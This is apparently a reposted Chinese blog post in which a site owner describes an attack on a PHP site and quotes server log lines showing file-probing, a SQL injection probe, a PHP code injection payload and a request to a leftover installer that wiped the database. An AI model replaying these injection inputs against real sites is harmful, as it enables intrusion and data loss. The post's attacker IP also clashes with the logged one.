网站被攻击了

很不幸,本人小站被攻击了,很郁闷,查看服务器日志,发现很多是sql注入,或者是php注入,由于本人是java开发者,业务爱好开发点php,只是开发者玩,没想到也被黑客顶上了,很郁闷。也不知道黑客怎么破解了,上我网站发现一个数据表被清空了,很郁闷。附带日志。以供以后参考。
分析日志发现,一个IP为66.249.77.115 的地址总是尝试着去以猜测的方式获取我网站的一些文件,如:
123.151.39.47 - - [30/Sep/2013:13:26:29 +0800] "GET /wwwroot.rar HTTP/1.1" 404 225 "http://kaixinpig.net" "Mozilla/4.0 (compatib1e; MSIE 6.1; Windows NT)"
123.151.39.47 - - [30/Sep/2013:13:26:29 +0800] "GET /chapter/wwwroot.rar HTTP/1.1" 404 225 "http://kaixinpig.net" "Mozilla/4.0 (compatib1e; MSIE 6.1; Windows NT)"
123.151.39.47 - - [30/Sep/2013:13:26:29 +0800] "GET /category/wwwroot.rar HTTP/1.1" 404 225 "http://kaixinpig.net" "Mozilla/4.0 (compatib1e; MSIE 6.1; Windows NT)"
123.151.39.47 - - [30/Sep/2013:13:26:29 +0800] "GET /assets/wwwroot.rar HTTP/1.1" 404 225 "http://kaixinpig.net" "Mozilla/4.0 (compatib1e; MSIE 6.1; Windows NT)"


尝试N多次失败后,就换成sql注入了,如:
123.151.39.47 - - [30/Sep/2013:13:26:44 +0800] "GET /search.php?modelid=4444444444%20or%201=1 HTTP/1.1" 200 14 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17"


还有php代码注入:
如:
123.151.39.47 - - [30/Sep/2013:13:26:54 +0800] "GET /search.php?query=<?php%20print(md5(1000));exit;?>&modelid=1%20or%201 HTTP/1.1" 200 14 "



最后发现该黑客执行了
123.151.39.47 - - [30/Sep/2013:13:26:38 +0800] "GET /install/install.php?action=setup&dbhost=localhost&port=3306&dbname=test&dbuser=root&dbpassword=123456&tableprefix=b2bbuilder_&guid=6F9619FF-8B86-D011-B42D-00C04FC964FF HTTP/1.1" 200 14 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17"

导致我网站所有数据初始化!!!,教训啊,安装完网站后一定记住删除install文件夹

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转载自bjmike.iteye.com/blog/1949556
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